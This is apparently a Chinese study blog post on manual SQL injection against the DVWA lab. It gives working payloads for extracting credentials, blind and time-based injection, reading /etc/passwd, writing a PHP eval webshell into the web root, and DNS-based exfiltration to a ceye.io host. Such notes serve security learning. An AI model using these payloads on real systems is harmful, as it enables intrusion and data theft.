渗透测试学习5:sql手注

SQL注入初探

常见数据库:access(小型),mysql(最常见),oracle(大型),postgresql(国外用的多)。

MySQL联合查询注入(dvwa low靶场)

union select 联合查询 ,即合并(取交集,结果中没有重复⾏)前后两个查询;前提是前后查询视图必须拥有相 同数量的列,列也必需拥有相同的数据类型。
基本步骤:

1.判断是否存在注⼊(数字型还是字符型)

数字型:select * from news where id=1;
字符型:select * from news where title='1';
⽅法⼀:单引号法 : '
输入多一个单引号时报错,为字符型
⽅法⼆:逻辑法 and 1=1 and 1=2 1' and '1'='1 1' and '1'='2
就是and后的值要为真才能输出查询,为假时不显示。
⽅法三:运算法 -1 -0

2.猜解表名

可以猜测一些常见的敏感表名也可以通过字典来猜解。

3.猜解字段数

方法:1‘ order by 1 #
持续order by 1,2,3。。。直到报错。

4.猜解字段名

可以猜测一些常见的敏感字段名也可以通过字典来猜解。

5.获取数据

获取当前数据库和数据库⽤户名:

1' union select database(),user() #

获取当前的数据库版本和操作系统:

1' union select version(),@@version_compile_os#

获取数据表名:

1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

注:我们需要判断MySQL的版本。因为当MySQL的版本⼩于4.0时,是不⽀持union select联合查询的;当MySQL版本⼤于 5.0时,有个默认数据库information_schema,保存了 Mysql服务器所有数据库的信息,如数据库名,数据库的表, 表栏的数据类型与访问权限等。该数据库拥有⼀个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
获取表中的列名:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

注:group_concat()的作用是将相同的行组合起来。
information_schema.columns有列的信息
group_concat(column_name)就是列出所有的列名。
获取数据:

1' union select user,password from users#

MySQL报错注入

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
常用到的三种报错注入方式分别是:floor()、updatexml()、extractvalue()。

1.floor() 
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue() 
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml() 
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

1.floor()
函数含义:
floor()函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。
concat()是返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
rand(0)是产生伪随机数。
2.extractvalue():从⽬标XML中返回包含所查询值的字符串。 EXTRACTVALUE (XML_document, XPath_string);
第⼀个参数:XML_document是String格式,为XML⽂档对象的名称
第⼆个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产⽣的字符串。
3.updatexml():改变文档中符合条件的节点的值。
updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

注:以下加粗部分可替换为想执行的mysql语句(与上一节union后面的一致)。
1.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
2.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

MySQL布尔型盲注入

一般用于没有回显的查询中。盲注入一般工作量都很大,所以我在此就不操作了,可以用sqlmap来操作。
常用函数:
lenght() 返回字符串的长度,例如可以返回数据库名字的长度
substr() ⽤来截取字符串
ascii() 返回字符的ascii码
sleep(n) 将程序挂起⼀段时间,n为n秒

流程:
1.判断是否存在注⼊

1' and 1=1 #

2.猜解当前数据库名
先猜长度从1开始指导回显存在

1' and length(database())=1 #

再⼆分法逐字猜解
查找指导回显存在

1' and ascii(substr(database(),1,1))>97

3.猜解表名
先猜解表的数量

1' and (select count (table_name) from information_schema.tables where table_schema=database())=1 #

后两个步骤和刚才猜长度和名字一样。

4.猜解表中的字段名
与上一致。

5.猜解数据
二分法或暴力法

MySQL延时型盲注入

关键函数:
if函数
substr() ⽤来截取字符串
ascii() 返回字符的ascii码
mysql>=5.0 使⽤sleep()进⾏查询
mysql<5.0使⽤benchmark()进⾏查询
benchmark()是通过查询次数增多,时间变得缓慢来判断是否存在延迟
select benchmark(1000,select * from admin);
id=1 and sleep(5)
例子:

判断是否存在延迟注⼊
id=1 and sleep(5)
判断当前⽤户
and if(ascii(substr(user(),1,1))=114,sleep(5),1)

总结:与布尔注入差不多,就是一个是通过回显真假判断,一个是通过休眠时间判断。

MySQL⼿注之Root权限处理

Root⽤户是可以对⽹站的⼀些⽬录进⾏读写操作的。 如果当前连接的mysql⽤户为root权限权 ,在具有读写权限的前提下,我们是可以通过写⼊⼀句话⽊马到⽹站⽬录来获取⽹站权限的,也就是webshell。

需要的条件:
获取root权限、获得网站UNC路径。
(UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。)
MySQL 5.5.53之前的版本是 secure_file_priv 变量默认为空,所以默认情况下是可以直接通过SQL语句来导出⽂件的。
MySQL⾼于5.5时,mysql新出了⼀个 secure-file-priv 字段 : secure-file-priv 参数是⽤来限制LOAD DATA, SELECT … > OUTFILE, and LOAD_FILE()传到哪个指定⽬录的。
当 secure_file_priv 的值为null ,表⽰限制mysqld 不允许导⼊|导出
当 secure_file_priv 的值为/tmp/ ,表⽰限制mysqld 的导⼊|导出只能发⽣在/tmp/⽬录下
当 secure_file_priv 的值没有具体值时,即 ‘’ ,表⽰不对mysqld 的导⼊|导出做限制。 查看 secure-file-priv 参数的值: show global variables like '%secure%

MySQL读⽂件 mysql读⽂件是⽤的 load_file() 函数:

select load_file('/etc/passwd'); 
select load_file(0x2F6574632F706173737764);

MySQL写⽂件
INTO OUTFILE函数写⽂件时会在每⼀⾏的结束⾃动加上换⾏符 INTO DUMPFILE函数在写⽂件会保持⽂件得到原⽣内容,这种⽅式对于⼆进制⽂件是最好的选择

select '<?php @eval($_POST[pass])?>' into outfile '/var/www/html/muma.php' ; 
select '<?php @eval($_POST[pass])?>' into DUMPFILE '/var/www/html/muma.php' ; 
select * from tdb_goods where goods_id=1 into outfile "/var/www/html/muma.php" LINES STARTING BY '<?php @eval($_POST[pass])?>'

LINES STARTING BY '写⼊的内容'设置每⾏数据开头的字符,可以为单个或多个字符。默认情况下不使⽤任何字符。
LINES TERMINATED BY '写⼊的内容'设置每⾏数据结尾的字符,可以为单个或多个字符。默认值是"\n"

DNSlog注入

一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度。
NS服务器:NS(Name Server)记录是域名服务器记录,用来指定该域名由哪个DNS服务器来进行解析。

DNSlog注入原理:
攻击者先将恶意的sql语句注入到web服务器;
web服务器再把这条语句发送给数据库并执行;
数据库查询DNS服务器;
返回NS服务器;
查询设施好的NS服务器;

mysql注入细节:
前提:
⽀持load_file()函数(⾼版本默认不⽀持)
开启allow_url_fopen(默认开启)
核⼼语句:

select load_file(concat('\\\\',hex((select database())),'.8dmer4.ceye.io\\abv'));

其中8dmer4.ceye.io语句要换成自己的dnslog网址。
hex(a):
如果a是一个数字, 返回a的十六进制值的字符串表示。
如果a是一个字符串,返回a在a的每个字符转化为两个十六进制数字的十六进制字符串表示。
concat():
把参数合成一个字符串。
注:\\经过转义后成为\;hex中的内容是想要执行的内容。
dvwa实战语句1:

1' and if((select load_file(concat('\\\\',hex((select 212)),'.8dmer4.ceye.io\\abv'))),1,0) And '1'='1

HTTP header注入

原理:
有时数据库会对用户的cookie,useragent等HTTP header字段再sql中处理验证,这时我们就可以抓包更改头部加入想执行的命令来实现sql注入。
可被注⼊的头参数:
cookie :
站为了辨别⽤⼾⾝份、进⾏ session 跟踪而储存在⽤⼾本地终端上的数据(通常经过加密)。
Rerferer :
浏览器向 WEB 服务器表明⾃⼰是从哪个⻚⾯链接过来的。
User-Agent :
使得服务器能够识别客⼾使⽤的操作系统,游览器版本等.(很多数据量⼤的⽹站中会记录客⼾使⽤的操作系统或浏览器版本等存⼊数据库中)。
X-Forwarded-For :
简称XFF头,它代表客⼾端,也就是HTTP的请求端真实的IP,(通常⼀些⽹站的防注⼊功能会记录请求端真实IP地 址并写⼊数据库or某⽂件[通过修改XXF头可以实现伪造IP])
Client-IP :
代理服务器发送的HTTP头。
Host:
是 HTTP 1.1 协议中新增的⼀个请求头,主要⽤来实现虚拟主机技术。 https://blog.csdn.net/codejas/article/details/82844032

注入方法:
先burp抓包,再改包内容。

GET/HTTP/1.1 Host:www.example.com Connection:keep-alive Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Upgrade-Insecure-Requests:1 User-Agent:Mozilla/5.0'(select*from(select(sleep(20)))a)# Accept-Encoding:gzip,deflate,sdch Accept-Language:en-US,en;q=0.8,fr;q=0.6
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值